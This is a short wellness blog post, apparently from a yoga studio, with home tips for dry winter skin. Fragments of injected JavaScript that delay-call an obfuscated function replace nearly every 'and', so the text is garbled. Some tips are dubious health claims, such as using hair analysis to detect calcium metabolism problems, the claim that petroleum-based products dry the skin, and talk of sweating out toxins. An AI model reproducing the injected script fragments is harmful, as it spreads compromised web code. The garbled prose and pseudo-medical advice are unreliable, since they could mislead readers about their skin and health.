Bye Bye Dry Skin

Bye Bye Dry Skin

Winter is fast approaching andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and one of the seasonal side effects can be dry skin.  More time inside exposed to dry air heat andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and synthetics can also be a contributing factor.  As can be the cold andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and blustery wind conditions outside.

Dry skin can also be caused by a combination of environmental stressors andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and poor nutrition. You may need to experiment a little to determine what is causing your dry skin condition.

Here are some tips to help keep your skin moist, soft andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and dewey fresh throughout the Winter Season andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and all Year Through:

– Hydrate! When cells are dehydrated, they lose their plumpness andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and structure. Make sure you are drinking at least half of your body weight in water a day (ex: 140 lbs= 70 oz  water) andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and reduce your caffeinated beverage consumption which is a natural diuretic.

– Eat foods rich in essential fatty acids (good fats) such as avocados, fish, nuts andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and seeds. For more severe conditions, consider supplementing with fish, flaxseed or evening primrose oil.

– Look into poor calcium metabolism – calcium is a drying mineral, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and if it’s not processed properly, it can get dumped into the “wrong places”, including the skin. You can find out if you have poor calcium metabolism by having a hair analysis done.

– Check your thyroid health.  Low thyroid hormone levels can cause many symptoms, including dry skin.

– Stop using all those chemical laden personal hygiene products.  Petroleum based products actually make you drier, causing you to keep applying them ,thus creating a vicious cycle for your skin andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and overall health.  If you wouldn’t eat it, chances are it has no business on your skin.  Try organic coconut oil, olive oil or almond oil instead.

– Eat nutrient dense fruits andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and vegetables local andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and organic whenever possible, letting your skin shine from the inside out.  Real food, not processed food nourishes our bones andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and body, nourishing the skin.

– Keep your digestive system in order.  We hear a lot about probiotics, but prebiotics are just as important.  Check that the source you are using contains both.  When things are off with digestion it shows up through the skin.

– Exercise andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and sweating stimulate the skin andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and lymph system rebuilding the skin on a cellular level andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and riding the body of toxins so a healthy you can shine through. Try a sauna, steam, or better yet a hot Yoga class.

These are just a few tips to help you on your path to healthier skin.  Let us know how you fair.

Namaste,

Y3

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